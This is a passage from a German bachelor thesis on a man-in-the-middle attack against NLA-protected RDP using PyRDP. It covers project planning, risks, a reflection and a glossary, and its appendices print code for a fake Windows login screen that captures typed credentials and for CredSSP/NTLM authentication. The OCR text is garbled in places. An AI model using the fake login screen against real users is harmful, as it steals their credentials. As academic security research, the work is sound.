Frage, ob ein Man-in-the-Middle-Angriff auf eine mit NLA authentifizierte RDP-Verbindung
(CredSSP) mdglich ist. Nur falls dies mdglich ist, kdnnen wir mit der Construction Phase
fortfahren. Nebst der Machbarkeitsanalyse soll auch der Code von PyRDP auf Struktur,
verwendete Libraries, wichtigste Klassen/Methoden, etc. analysiert und ebenfalls dokumentiert
werden.

Construction (26.04.2021 - 13.06.2021)

In der Construction-Phase geht es nun darum, einen Proof of Concept fir das PyRDP-Tool zu
implementieren, basierend auf der in der vorherigen Phase durchgefiihrten Analyse. Dabei soll
der bereits vorhandene Code um die neue Funktionalitat, <Man-in-the-Middle NLA» erweitert
werden. Die durchgefiihrte Implementierung sollte mit sinnvollen Vorgehensweisen und
Modellen/Diagrammen, wie sie in den Software-Engineering-Modulen erlernt wurden,
dokumentiert werden. Zudem sollen auch die aufgetretenen Probleme und Schwierigkeiten
sowie die getroffenen Uberlegungen festgehalten werden.

Transition (14.06.2021 - 18.06.2021)

Die Zeit in der Transition-Phase wird genutzt, um den Abschlussbericht und alle notwendigen
Dokumente fertig zu stellen und die Prasentation vorzubereiten. Letzte Korrekturen und
Verbesserungen sind am Abschlussbericht vorzunehmen. Die Folien fiir die
Abschlussprasentation mussen vorbereitet werden. Ausserdem mussen in dieser Phase einige
administrative Arbeiten erledigt werden, die flr die Einreichung der Arbeit notwendig sind.
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10.4.2.2 Meilensteine

Folgende Meilensteine werden angestrebt:
[») \ Meilenstein Beschreibung Termin

MS1 End of Inception Projektplanung durchfihren. 28.02.2021

MS2 | Zwischenprdsentation Zwischenprasentation durchfihren. 22.04.2021
- Theoretische Machbarkeitsanalyse

MS3 End of Elaboration abschliessen. 25.04.2021

PyRDP Code analysieren.
PyRDP Code analysieren.
MS4 | End of Construction - NLA-MitM PoC in PyRDP 13.06.2021
implementieren.
Dokumentation verbessern und
fertigstellen.

MS5 | End of Transition - Abschlussprasentation fertigstellen. 18.05.2021
- Endabgabe vorbereiten.

MS6 | Endabgabe Endabgabe durchfiihren. 18.06.2021

MS7 | Abschlussprasentation | Abschlussprasentation durchfiihren. 24.06.20201

Tabelle 8: Meilensteine

10.4.3 Besprechungen

Es wurde vereinbart, dass sich alle drei Projektmitglieder mindestens zweimal in der Woche
treffen, um sich untereinander auszutauschen, administrative Fragen zu klaren und
Problematiken zu besprechen. Dazu gehort auch die Durchfihrung von Reviews und die
Definition von den nachsten Arbeitsschritten. Diese Besprechungen werden jeweils jeden
Donnerstag und Freitag von 09:00 bis 12:00 Uhr online via Teams abgehalten.

Zusatzlich finden jede Woche Reviews mit unserem Betreuer Herr Cyrill Brunschwiler statt, in
welchen jeweils der aktuelle Stand, der zuletzt erreichte Meilenstein sowie die dazugehérenden
Arbeitsprodukte bzw. Dokumente, wie auch allfallige entstandene Problematiken besprochen
werden.

Alle Besprechungen werden protokolliert und auf GitLab abgelegt.

» Der Inhalt der wochentlichen Review-Meetings konnen aus dem GitLab entnommen
werden. (https://gitlab.ost.ch/ba/rdp-man-in-the-middle/-/tree/master/minutes)
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10.5 Risikomanagement

In diesem Abschnitt werden verschiedene Projektrisiken beschrieben, die wahrend des
Projektes auftreten kdnnen. Zusatzlich wird zu jedem Risiko die Wahrscheinlichkeit des
Auftretens und der Gewichtung aufgelistet. Allgemeine Risiken werden hier nicht abgebildet.

Das Ziel ist es, die Risiken so weit wie mdglich zu minimieren und falls moglich zu eliminieren.

Die Risiken wurden, wahrend dem Projekt kontinuierlich analysiert und angepasst, um auf
mogliche Veranderungen entsprechend reagieren zu kdnnen. (Abbildung 45)

10.5.1 Risiken
Diese Matrix symbolisiert den letzten Stand vom 24.02.2021:
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Abbildung 45: Risikomatrix (Eigene Darstellung)

Die Grosse der Blasen entspricht dem gewichteten Schaden
(Eintrittswahrscheinlichkeit * maximaler Schaden)
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Risiko Eintrittswahrscheinlichke = Gewichtun

it g
R1 Kommunikation 20% 12.6
R2 Komplexitat 50% 21
R3 Lernkurve 75% 94.5
R4 Ressourcenmangel 15% 23.15
R5 Ausfall externer Komponente 10% 2.1
R6 Umsetzbarkeit der Aufgabenstellung | 10% 12.6
R7 Ungenaue Aufwandschatzung 20% 4
R8 Installation & Integration 30% 12.6
R9 Ausfall Personal 15% 3.15

Tabelle 9: Projektrisiken

» Die detaillierte Risikoidentifikation, Analyse und Massnahmen sind im File «Risikoanalyse»
beschrieben.

10.5.2 Umgang mit Risiken

Die Risiken werden so gut wie moglich schon am Anfang des Projektes durch eine gute
Projektplanung minimiert.

Fir den Fall, dass ein Risiko eintritt, wurden die Risiken, wie sie beschrieben wurden, in die
Zeitplanung miteingerechnet. In jedem Arbeitspaket wird daher ein gewisses Zeitpolster
miteingerechnet.

Dieses Polster ist 2.5h pro Woche gross. Die Reserven sind somit gleichmassig tber alle
Projektwochen verteilt.

Falls trotzdem ein beschriebenes Risiko eintritt, werden die Massnahmen, die wir definiert
haben, umgesetzt.

Falls es unerwartet viele Probleme im Projekt geben sollte, werden wir die Risikoanalyse neu
bewerten und das weitere Vorgehen besprechen.

10.5.3 Risikoentwicklung und Risikouberwachung

Die Risiken werden im vier Wochen Rhythmus neu beurteilt und eingeschatzt. Somit fliessen
die gesammelten Erfahrungen und die neuen Erkenntnisse (insbesondere in Bezug auf die
eingesetzten Technologien) in die Matrix ein. Die Schlussbeurteilung erfolgt in einer kurzen
Besprechung innerhalb des Teams.
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10.5.4 Risikoauswertung

Wie im vorherigen Kapitel definiert, wurde alle vier Wochen eine Risikoanalyse durchgefihrt.
In der folgenden Grafik (Abbildung 46) sieht man den Verlauf der am Anfang des Projektes
festgelegten Risiken.
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3 70
S
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E 50
Q
= 40
L ™
5 * /‘ ® -
@ 20 >
10
0
1. Woche 5. Woche 9. Woche 13. Woche 17. Woche
=@=R1: Kommunikation 12.6 15.75 9.45 6.3 6.3
—=@=R2: Komplexitat 21 27.3 27.3 294 33.6
R3: Lernkurve 94.5 94.5 50.4 56.7 56.7
==@==R4: Ressourcenmangel 3.15 3.15 6.3 2.1 1.05
=@==R5: Ausfall externer Komponente 2.1 2.1 1.05 1.05 1.05
R6: Umsetzbarkeit der 12.6 63 315 315 315
Aufgabenstellung
=@==R7: Ungenaue Aufwandschatzung 4 4 5 5 7
=—@==R3: Installation & Integration 12.6 6.3 4.2 16.8 21
==@==R9: Ausfall Personal 3.15 3.15 3.15 3.15 3.15

Abbildung 46: Risikoauswertung (Eigene Darstellung)

Im nachsten Abschnitt werden die aufgetretenen Risken bzw. Schwierigkeiten grob
beschrieben.

10.5.5 Aufgetretene Risiken

R1: Kommunikation

Dieses Risiko ist hauptsachlich in der Anfangsphase des Projekts aufgetreten, da zu wenig
Vorkenntnisse vorhanden war. Daher kam es vor, dass Arbeiten durchgefiihrt wurden, die nicht
direkt fir die Arbeit relevant sind.

R2: Komplexitat
Die Arbeit stellte sich als komplex heraus, da wenig Wissen in diesem Thema vorhanden war.
Anfanglich fehlte daher auch die Art und Weise wie man an diese Arbeit angehen musste.

R3: Lernkurve

Da die in dieser Arbeit relevanten Themen sowie das Tool, welches vorgegeben wurde, neu fir
die Teammitglieder waren, musste flir mehrere Wochen mit einer grossen Lernkurve gerechnet
werden. In der Elaboration-Phase war das aufgrund der Theorie und die Durchfiihrung der
Machbarkeitsanalyse und in der Construction-Phase aufgrund des Tools bzw. dessen Aufbau.
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R4: Ressourcenmangel

Aufgrund der aktuellen Situation (Covid-19) und die beschrankte Anzahl von Hardware, welche
bezogen werden konnten, musste viel mit virtuellen Maschinen gearbeitet werden. Diese
mussten auf den persdnlichen Arbeitsgeraten installiert werden, was je nach dem zu Leistungs-
und Kompatibilitatsproblemen fihrte.

R6: Umsetzbarkeit der Aufgabenstellung

Durch die in der Elaboration-Phase durchgefiihrte Machbarkeitsanalyse konnte festgelegt
werden, dass ein Man-in-the-Middle Angriff, wie es in der Aufgabenstellung vorgesehen ist,
nicht moglich ist. Daher musste in der zweiten Halfte der Arbeit die Aufgabenstellung neu
definiert werden.

R7: Ungenaue Aufwandschitzung

In der theoretischen Analyse wurde am Anfang oft der entscheidende Faktor nicht genligend
tief untersucht, da die Relevanz nicht klar war. Daher mussten gewisse Issues erneut bzw.
genauer durchgefiihrt werden. In der Construction-Phase wurde die Implementierung in drei
Teile aufgeteilt, «Fake Login-Implementierung», «NLA Authentifizierung-Implementierung»
und «RDP Layer Mapping». Der Aufwand fiir die «<RDP Layer Mapping» wurde unterschatzt, da
die Schwierigkeiten nicht von Anfang an klar waren.

R9: Ausfall Personal

In der Semesterwoche vier fiel einer der Teammitglieder aus gesundheitlichen Griinden aus. So
geriet die Arbeit flr eine kurze Zeit in Verzug, welcher aber daraufhin aufgearbeitet wurde.
Wahrend der gesamten Arbeit fielen zwei Review-Meetings, aufgrund das Fehlen des
Betreuers, aus. Jedoch hat der Betreuer diese Termine friihzeitig bekannt gegeben. Daher
konnte flr diese Semesterwochen schon im Vorhinein geplant werden.
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10.6 Arbeitspakete

Auf Gitlab befinden sich die momentan geplanten Arbeitspakete unter dem Punkt Issues. In
der friihen Phase des Projektes werden die Arbeitspakete grob formuliert. Da die Arbeiten erst
mit den vorangehenden Prozessen klarer werden, werden wir die Inhalte der Arbeitspakete erst
spater feiner granulieren.

10.6.1 Auswertung der Arbeitspakete

Fir die Auswertung wurden die Arbeitspakete auf die nachfolgenden Labels aufgeteilt:

¢ Administration & Infrastruktur
« Dokumentation

« Analyse

+ Coding

+ Team-Meeting

+ Review-Meeting

Das Thema RDP Man-in-the-Middle war fiir das Team ganz neu, deshalb konnten die
eingeplanten Meilensteine nicht richtig eingeschatzt und eingehalten werden. Fur die
Auswertung der Arbeitspakete wurde deshalb nach Labels im Gitlab kategorisiert. (Abbildung
47)

Stunden nach Labels

400
346
300 313
300
200
132
100
33 38
, ]
Administration / Analysis Coding Team-Meeting Review-Meeting Documentation

Infrastructure

W Stunden

Abbildung 47: Stunden nach Labels (Eigene Darstellung)
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Zusatzlich wurde eine Ubersicht der Stunden nach Personen erstellt. (Abbildung 48)

Stunden nach Person

Aynkaran Sundralingam 383

370 380 390 400

B Stunden

Abbildung 48: Stunden nach Person (Eigene Darstellung)

Insgesamt wurden flr diese Arbeit 1162 Stunden bendtigt.

10.6.1.1 Administration & Infrastruktur

In diesem Bereich wurden allgemeine Koordinationsaufgaben und Gitlab Aufsetzung in
Stunden rapportiert. Da die Teammitglieder mit ihren personlichen Laptops gearbeitet haben,
wurde hier nicht viel Zeit investiert.

10.6.1.2 Dokumentation

In diesem Bereich wurde die allgemeine Dokumentationsaufwand wie z.B. Abstract,
Uberarbeitung oder Review des Berichts oder Poster eingetragen.

10.6.1.3 Analyse

In dieser Kategorie wurde der Zeitaufwand fir die Analyse der Theorie (NLA, CredSSP, NTLM,
etc.), den Installationsaufwand und die Codeanalyse des PyRDP-Tools erfasst.

10.6.1.4 Coding

In der Kategorie Coding wurden die Stunden fir den Implementierungsaufwand von Fake-
Login-Screen, CredSSP-Authentifizierung und Layer-Mapping erfasst.

10.6.1.5 Team-Meeting

In der Kategorie Team-Meeting wurden die Stunden der Meetings rapportiert, welche die
Teammitglieder innerhalb des Teams via Microsoft Teams oder am Campus in Rapperswil
durchgefiihrt wurden.
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10.6.1.6 Review-Meeting

Bei dieser Kategorie wurde die Zeit der Meetings eingetragen, welche mit dem Betreuer
stattgefunden haben.
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10.7 Infrastruktur

10.7.1 Entwicklungsmaschinen

Die Teammitglieder verwenden ihre persdnlichen Arbeitsrechner zur Bearbeitung dieses
Projektes. Dabei wird als Betriebssystem Windows 10 sowie macOS 10.14 verwendet.

10.7.2 Virtueller Server

Im Rahmen dieser Arbeit wurden zwei virtuelle Server fir die Analyse und Implementierung
bendtigt. Diese wurden von der OST zur Verfligung gestellt. Aufgrund der aktuellen Situation
(Covid-19) konnte nicht aus dem OST-Netzwerk gearbeitet werden. Fir den Zugriff auf die
virtuellen Server musste VPN verwendet werden.

10.7.3 Ubersicht der Tools

Bezeichnung \ Verwendungsgrund \

GitLab Handhabung der Arbeitspakete, Zeiterfassung, Code-
Ablage, Dokumentenablage

PyCharm, Visual Studio Code Entwicklungsumgebung (IDE)

Microsoft Office Word Verfassung von Dokumenten

VirtualBox Virtualisierungssoftware

Markdown Verfassung von Protokollen

Dropbox Dokumentenaustausch

Microsoft Teams Besprechungen

WhatsApp Kommunikation innerhalb des Teams

Tabelle 10: Ubersicht der verwendeten Tools
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10.8 Qualitatsmassnahmen

Massnahme Zeitraum Ziel der Massnahme

Meeting Donnerstags | Synchronisation: Wo stehen wir? Kommunikation:

und Freitags | Teamgeist, Anliegen |6sen. Problemldsung: komplizierte
09-12 Uhr technische Probleme gemeinsam angehen.

Pull Request Vor Merge | GitHub-Flow mit Pull-Request vor jedem Merge.

Code / Wenn nétig | Verstandliches Coding, Code-Style Guidelines. Inhaltliche
Dokumentation und Sprachliche (Grammatik) Uberpriifung.

Review

Review Wodchentlich | Arbeitsstand austauschen, Klarung aufgetauchter Fragen,
Meeting mit Frihzeitige Reaktion auf allfallige Unstimmigkeiten oder
Betreuer Missverstandnisse.

Tabelle 11: Qualitatsmassnahmen

10.8.1 Dokumentation

Alle Dokumente befinden sich in unserem GitLab- sowie Dropbox-Repository. Das Fileformat
ist Markdown, Microsoft Word und PDF. Um das gleichzeitige Arbeiten an den Dokumenten
zu vereinfachen und diese zu versionieren, werden diese Dokumente via Dropbox verwaltet.
Zusatzlich wird eine Anderungsgeschichte am Anfang des Dokumentes gefiihrt. Die finalen
Versionen der Dokumente werden als PDF auf GitLab abgelegt.

» GitLab-Repository: https://gitlab.ost.ch/ba/rdp-man-in-the-middle/

10.8.2 Projektmanagement

Fir das Projektmanagement wird GitLlab eingesetzt. Administrative Dinge, wie z.B.
Zeiterfassung, pflegen wir dort ein.

10.8.3 Merge Requests

Vor jedem Merge eines Branches wird ein Merge Request an einem anderen Peer geschickt.
Wenn der Merge Uberpriift wurde und alles in Ordnung ist, gibt der Peer den Merge frei. Das
Issue-Ticket wird dabei erst geschlossen, wenn der Merge durchgelaufen ist oder wenn der
Branch aus anderen Griinden gel6scht wurde.

10.8.4 Definition of Done(Dod)

Um Missverstandnissen vorzubeugen und eine klare Vorstellung davon zu haben was erwartet
wird, wird mit einer «Definition of Done» gearbeitet. Sobald samtliche vorab definierten Punkte
erfillt sind, kann das Arbeitspaket als erledigt angesehen werden.

DoD fiir Dokumente:
* Grammatik, Orthografie korrekt
* Wesentliche Punkte abgearbeitet (Ermessens Sache)
* Review durch Betreuer durchgefiihrt
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DoD fiir Code (falls Coding nétig)
* Merge-Request flir Code Review durch ein anderes Teammitglied (Vier-Augen-Prinzip):
o Code kompiliert einwandfrei
o Alle Akzeptanzkriterien werden erfillt
o Coding Guidelines sind erfullt
o Keine kritischen Bugs zu diesem Thema offen.
= Zusammenflhrung im Master Branch

10.8.5 Dokumentation & Code Style Guidelines

Im Code wird ausschliesslich die englische Sprache benutzt, z.B. fir Code Kommentare,
Variablennamen, Funktionsnamen usw. Die Dokumentation wird hingegeben in deutscher
Sprache gehalten.

Unsere Review Strategie liegt folglich in den Pull-Requests. Wichtige oder heikle Dokumente
werden in den Teammeetings abgesegnet. Im Grossen und Ganzen setzt sich alles zusammen
aus: Pull Requests, Team-Meetings, Code-Reviews und eventuell noch Remote-Pair-

Programming.
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11 Reflexion

Aufgrund des grossen Interesses aller drei Diplomanden an Informationssicherheit und
Programmierung, haben wir uns fir diese Arbeit entschieden und als erste Auswahl beworben.
Am Anfang der Arbeit standen wir dennoch vor einer grossen Herausforderung, da keiner der
Diplomanden Erfahrung in der Durchfihrung einer Machbarkeitsanalyse zu einem
Informationssicherheitsthema, in unserem Fall «<RDP Man-in-the-Middle», und generell in
diesem Fachgebiet hatte. Daher war die Vorgehensweise bei dieser Arbeit zunachst unklar.
Auch fur die Themen, die im Rahmen dieser Arbeit betrachtet wurden bzw. relevant waren,
musste das Wissen in den meisten Fallen zuerst noch angeeignet werden.

In der Bachelorarbeit wurde vorausgesetzt, dass zu Beginn der Arbeit ein zeitlicher Ablaufplan
erstellt wird, was aufgrund der fehlenden Kenntnisse und Erfahrungen nicht genau
durchgefiihrt werden konnte. So kam es in der ersten Halfte der Arbeit vor, dass die
wochentlichen Ziele nicht optimal erreicht wurden und eine Nachbearbeitung erforderlich war.
Da jedoch fir die Durchfihrung der theoretischen Machbarkeitsanalyse ausreichend Zeit
inklusive Puffer eingeplant wurde, konnte diese bis zum geplanten Meilenstein erreicht bzw.
abgeschlossen werden. Die Machbarkeitsanalyse zeigte, dass die Durchfiihrung eines direkten
(ohne vorhergehende Angriffe) Man-in-the-Middle-Angriffs auf RDP mit der erweiterten
Sicherheit «<NLA» nicht mdéglich ist. Dies fUhrte dazu, dass eine der Hauptaufgaben der Arbeit
nicht durchgefiihrt werden konnte. Denn nebst der Machbarkeitsanalyse umfasste die Arbeit
auch die Analyse und Implementierung eines Man-in-the-Middle PoC flir das Tool «PyRDP».

Da die Bachelorarbeit zusatzlich zum Bericht auch die Lieferung eines Produktes (Hardware,
Software, etc.) vorsieht, musste eine alternative Aufgabe gefunden werden. Durch das
angeeignete Wissen konnten wir einen anderen Ansatz finden, mit dem die urspriingliche
Aufgabe realisiert werden konnte. Aufgrund dieser «Arbeitsunterbrechungen» haben wir etwa
eine Woche Zeit verloren. Zu diesem Zeitpunkt mussten wir das Vorgehen flr die nachsten
Wochen neu planen und den zeitlichen Aufwand einschatzen. Allerdings waren wir zu diesem
Zeitpunkt trotz der Umstdande optimistisch, dass es zeitlich funktionieren wird.

Bei der Umsetzung des PoCs fir PyRDP stellte sich heraus, dass die Implementierung
umfangreicher war, als wir es geschatzt hatten. Zum einen musste der PyRDP-Code detaillierter
analysiert werden, zum anderen erwies sich auch die Implementierung als nicht einfach. Die
Implementierung wurde in drei einzelne, auf sich aufbauenden Schritten unterteilt. Von diesen
drei Schritten konnten auf Grund der zeitlichen Beschrankungen schliesslich nur zwei
vollstandig implementiert werden. Ansonsten konnten die restlichen Ziele der
Aufgabenstellung erreicht werden.

Abgesehen von den aufgetretenen Schwierigkeiten hat die Zusammenarbeit sowohl mit dem
Betreuer als auch zwischen den Diplomanden gut funktioniert. Da wir die Arbeitsweise und die
Starken sowie Schwachen des jeweils anderen bereits aus friiheren Projekten kannten, hat auch
die Aufgabenteilung sehr gut funktioniert.

An dieser Stelle mochten wir uns bei unserem Betreuer Cyrill Brunschwiler fur die
Unterstitzung und angenehme Zusammenarbeit bedanken.
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12 Anhang A:

Glossar

ASCII

7-Bit-Zeichenkodierung (American Standard Code for
Information Inter)

Authenticator

Uberpriift die Echtheit von Client

Avatarbild

Ersatzbild fur Profile, welche man im Internet benutzt

Bibliothek (Library)

Sammlung von Unterprogrammen in Programmierung

Bit Kleinste binare Informationseinheit
Blob Binary Large Object, Grosse binare Datenobjekte
Byte Masseinheit in der Technik und besteht aus einer Folge von

I

8 Bits

Capture

Erfassung von Netzwerkdaten mit Wireshark

Certificate

Durch kryptografische Verfahren werden die Authentizitat
und Integritat geprift

Channel

Kanal im Netzwerk

Chiffretext

VerschlUsselte Texte

Code Execution

Ausfihrung von Code

Convert

Umwandlung

Credentials

Anmeldeinformationen vom Benutzer

CredSSP

Denial of Service

Protokoll um Anmeldeinformationen sicher zu Ubermitteln

Server ausser Betrieb setzen oder unzuganglich machen
durch sehr viele Anfragen

DES Data Encryption Standard, Symmetrischer
Verschlisselungsalgorithmus
Diffi-Hellman Asymmetrisches kryptographisches Verfahren fiir

Schlisselaustausch
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Docker Docker ist eine Container Virtualisierung der isolierten freien

Software.
DoD Abkilirzung fur (Definition of Done)
Domain Netzwerkumgebung

Domaénencontroller (DC) Server fir zentrale Authentifizierung von Computern

Enum Datentyp flr Aufzahlungstypen, welche Konstanten
bereitstellt
Eventdispatcher Leitet Events an zustandige Funktionen weiter

Flag Eine Variable, die einen bestimmten Zustand angibt

GIF Graphics Interchange Format, Grafikformat

Git Tool fir Versionskontrolle.

GitLab Entwicklungsplattform.

GSS-API Schnittstelle fir Anwendung, welche auf Sicherheitsdienste
zugreift

Graphical User Interface, Grafische Oberflache von einem
Programm

GUI

Handshake Verbindungsaufbau mit gegenseitiger Bestatigung
Hash Kryptografischer Funktion mit Output von fester Lange
HMAC Authentifizierungscode von Nachrichten

Host Rechner im Netzwerk

HTTP(S) Hypertext Transfer Protocol (Secure),

Kommunikationsprotokoll im World Wide Web

Image (Docker) Es enthalt Code, Library und Tools, um eine Applikation zu
starten.
ISO Eine Archivdatei wie eine CD oder DVD.
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Kerberos

Verteilter Authentifizierungsdienst.

Key Distribution Center

I

Schlissel Verwaltungszentrale in Kerberos.

Layer

Schichten im Netzwerk

Linux

UNIX Betriebssystem

macOS Betriebssystem von Apple

Malware Software, die in Computer eindringen und Schaden
verursachen

Mapping Verknipfung von Feldern

Master Secret

Schlissel, die aus Premaster Secret abgeleitet werden fiir
TLS Verbindung

MCS Multipoint Communication Service Protocol, Teil des RDP
Protokolls

MD4 Message Digest 4, kryptografische Hashfunktion

MITM Man in the Middle, Angriffsart, bei der sich Hacker zwischen

zwei Teilnehmern dazwischenschaltet

Netzwerkframework Ein Programmiergerust fir Netzwerk.

NLA Network Level Authentication

Nonce Eine zufallige Zeichenfolge, welche einmalig verwendet wird.
NTLM NT LAN-Manager, Authentifizierungsdienst.

Observer Design-Pattern aus dem Bereich der Softwareentwicklung.

OEM-String

Freiform-Informationen, die im System-Management-BIOS
gespeichert sind.

OpenSSL

Kostenlose Software fir Transport Layer Security.

os X

Betriebssystem von Apple.
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Package-Diagramm

Zeigt eine bestimmte Sicht auf die Struktur des modellierten
Systems.

Parser

Programm, das in der Informatik firr die Zerlegung und
Umwandlung von Daten zustandig ist.

Pass-Through-
Authentifizierung

Dienst, der auf einem oder mehreren lokalen,
domanenverbundenen Servern lduft und die Anmeldung
eines Benutzers validiert.

Payload

Zwischen Kommunikationsteilnehmer transportierten Daten
eines Datenpakets, die keine Steuer- oder
Protokollinformationen enthalten.

PDU

Protocol Data Unit, Kommunikationsprotokoll, die der
Kommunikation zwischen gleichberechtigten
Protokollschichten dienen.

Pentest

Penetrationstest, Umfassender Sicherheitstest einzelner
Computer oder Netzwerke.

Perfect Forward Secrecy

Eigenschaft bestimmter Schlisselaustauschprotokolle mit
dem Ziel, einen gemeinsamen Sitzungsschlissel zu
vereinbaren, so dass diese nicht rekonstruiert werden kann.

PFX

Dateiendung fir ein Zertifikat in dem Format PKCS#12.

PoC (Proof of Concept)

Nachweis der prinzipiellen Machbarkeit eines Projekts.

PowerPC

Mikroprozessor-Architektur aus 1991 von Apple, IBM und
Motorola.

Premaster Secret

Wert, der direkt aus dem Schlisselaustausch stammt.

Private Key

Geheimer Entschliisselungsschlissel im asymmetrischen
Krypto System.

Public Key Offentlicher Verschliisselungsschliissel im asymmetrischen
Krypto System.

Pyrdp RDP Man-in-the-Middle Tool

Python Universelle, héhere Programmiersprache.

Rainbow-Table

Datenstruktur, die eine schnelle, speichereffiziente Suche
nach der urspriinglichen Zeichenfolge fiir einen gegebenen
Hashwert ermdglicht.

Random Zufallig generierter Wert.
Random Key Verschlisselungsschlissel, der zufallig generiert wurde.
RC4 Ron’s Code 4, Verschlisselungsverfahren fiir Streams.
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RDP Remote Desktop Protokoll, Netzwerkprotokoll, das den
Fernzugriff auf andere Rechner ermdglicht.

RSA Rivest Shamir Adleman, Asymmetrisches kryptographisches
Verfahren zum Verschliisseln und Signieren.

RUP Rational Unified Process, Vorgehensmodell fiir die

Durchflihrung von Softwareprojekten.

Session Stehende Verbindung eines Clients mit einem Server.

SHA Secure Hash Algorithm, Eine Gruppe standardisierter
kryptologischer Hashfunktionen.

Signatur Verschlisselte Daten, um die Integritat des Senders zu

verifizieren.

SP (Service Pack)

Windows-Update, in dem bereits veréffentlichte Updates
kombiniert werden.

SPNEGO GSSAPI-Verhandlungsmechanismus fir die
Authentifizierung.

SSL Secure Socket Layer, Vorganger von TLS,
Verschlusselungsprotokoll zur sicheren Datenlibertragung
im Internet.

SSPI Schnittstelle und Komponente der Windows-API fiir Security

Service Provider.

Symmetrischer Schliissel

T.125

Beide Kommunikationspartner verwenden den gleichen
Schlissel fur die Verschlusselung und Entschlisselung.

Kommunikationsprotokoll

Threading

Handhabung von leichtgewichtigen Prozessen.

Ticket Granting-Server

Key Distribution Center (KDC), das vom Kerberos-Protokoll
als vertrauenswurdige dritte Partei verwendet wird.

TLS Transport Layer Security, Verschlisselungsprotokoll zur
sicheren Datenlibertragung im Internet.

Token Hardware-/Software-Komponente zur Identifizierung und
Authentifizierung von Benutzern.

TPKT Wird vom TCP-Protokoll verwendet, um mehrere
Nachrichten in einem Paket zu senden.

TSRequest Vom CredSSP-Client und CredSSP-Server verwendete

Ubuntu

Nachrichtenstruktur.

Linux-Betriebssystem, das auf Debian basiert.

Unicode

Internationaler Standard fur Schriftzeichen.
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UNIX Betriebssystem

i

VirtualBox Virtualisierungssoftware des US-amerikanischen
Unternehmens Oracle.

Windows Betriebssystem der Unternehmen Microsoft.

Wireshark Software zur Analyse und grafischen Aufbereitung von
Datenprotokollen.

X.509 ITU-T-Standard fiir eine Public-Key-Infrastruktur zum
Erstellen digitaler Zertifikate.
X.224 Transport-Protokoll
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Anhang E: Sequenzdiagramm mit MITM
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17 Anhang F: Fake-Login-Screen Code

# coding=utf-8

from tkinter import *

from tkinter import messagebox
from tkinter.ttk import *

from tkinter import filedialog
from tkinter import Menu

from tkinter import Label

from tkinter import Entry

from tkinter import Button

from PIL import ImageTk, Image

window = Tk()
window.attributes('-fullscreen’, True)
window.title("Login")
window.geometry('1550x850")

window.resizable(False, False)

class BackGround(Frame):
def _init_ (self, master, *pargs):
Frame.__init_ (self, master, *pargs)
selfimage = Image.open(‘images/WindowsLockScreen7.png")
self.img_copy= self.image.copy()

self.background_image = ImageTk.Photolmage(self.image)
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self.background = Label(self, image=self.background_image)
self.background.pack(fill=BOTH, expand=VYES)

self.background.bind(' <Configure>', self._resize_image)

def _resize_image(self, event):
new_width = event.width
new_height = event.height
self.image = self.img_copy.resize((new_width, new_height))
self.background_image = ImageTk.Photolmage(self.image)

self.background.configure(image = self.background_image)

e = BackGround(window)

e.pack(fill=BOTH, expand=YES)

txt_username = Entry(window, font=("Segoe Ul", 13), bd=2, bg="white", insertofftime=600, insertwidth
="1p", highlightthickness=1)

txt_username.config(highlightbackground = "gray", highlightcolor= "#eaeaea")
txt_username.place(relx=0.5, rely=0.61, anchor=CENTER, height=40, width=290)

txt_username.focus()

txt_password = Entry(window, show="¢", font=("Segoe Ul", 20), bd=2, bg="white", insertofftime=600, i
nsertwidth="1p", highlightthickness=1)

txt_password.config(highlightbackground = "gray", highlightcolor= "gray")
txt_password.place(relx=0.489, rely=0.675, anchor=CENTER, height=40, width=259)

txt_password.configure(cursor="xterm")

frameCnt = 50

frames = [Photolmage(file='images/WindowsLoadingScreenSmall.gif' format = 'gif -
index %i' %(i)) for i in range(frameCnt)]

116



def update(ind):
frame = frames[ind]
ind += 1
if ind == frameCnt:
ind =0
label.configure(image=frame)

window.after(100, update, ind)

def clicked(event=None):
print("Username: " + txt_username.get() + "\nPassword: " + txt_password.get())
can.place(relx=-0.1, rely=-0.1)
label.place(relx=0.42, rely=0.35)

window.after(1, update, 0)

login_image = Photolmage(file = “images/LoginButton.png")

btn_login = Button(window, text = "Login", image=Ilogin_image, command=clicked, width=33, height=
33, highlightthickness=1)

btn_login.config(highlightbackground = "gray", highlightcolor= "gray")

btn_login.place(relx=0.57, rely=0.653)

window.bind('<Return>", clicked)

can = Canvas(window, width=20000, height=20000, bg="#044a91", borderwidth=0)

label = Label(window, borderwidth=0)

window.mainloop()
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18  Anhang G: CredSSP-Authentifizierung Code

def clientConnect(host, username, password, connect = True):

tpkt = TPKT()

tpdu = TPDU()

rdp_neg = RDP_NEG_REQ()

rdp_neg['Type'] = TYPE_LRDP_NEG_REQ

rdp_neg['requestedProtocols’] = PROTOCOL_HYBRID_EX | PROTOCOL_HYBRID | PROTOCOL_SSL

tpdu['VariablePart'] = rdp_neg.getData()

tpdu['Code'] = TDPU_CONNECTION_REQUEST

tpkt['TPDU'] = tpdu.getData()

s = socket.socket()

s.connect((host,3389))

s.sendall(tpkt.getData())

pkt = s.recv(8192)

tpkt.fromString(pkt)

tpdu.fromString(tpkt['TPDU'])

cr_tpdu = CR_TPDU(tpdu['VariablePart')

if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
rdp_failure.dump()

logging.error("Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check
credentials")

return
else:

rdp_neg.fromString(tpdu['VariablePart'])

118



Schritt 1: Starten der SSL-Verbindung

ctx = SSL.Context(SSL.TLSv1_2_METHOD)
ctx.set_cipher_list('RC4,AES")

tls = SSL.Connection(ctx,s)
tls.set_connect_state()

tls.do_handshake()

Schritt 2: Senden des SPNEGO-Handshakes

auth = ntim.getNTLMSSPType1(",", True, use_ntlmv2 = True)

ts_request = TSRequest()

ts_request['NegoData'] = auth.getData()

tls.send(ts_request.getData())
buff = tls.recv(4096)

ts_request.fromString(buff)

Schritt 3: Beantwortung der Challenge und Signieren des Server-Public Keys

Imhash ="
nthash="

type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username,
password, Imhash, nthash, use_ntimv2 = True)

server_cert = tls.get_peer_certificate()
pkey = server_cert.get_pubkey()

dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)

dump = dump[7:]
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pubKeyStr = b"\x30'+ asn1encode(dump)

clientNonce = "A"*32

magic = b"CredSSP Client-To-Server Binding Hash\x00"
h2 = hashlib.sha256()

h2.update(magic)

h2.update(clientNonce)

h2.update(pubKeyStr)

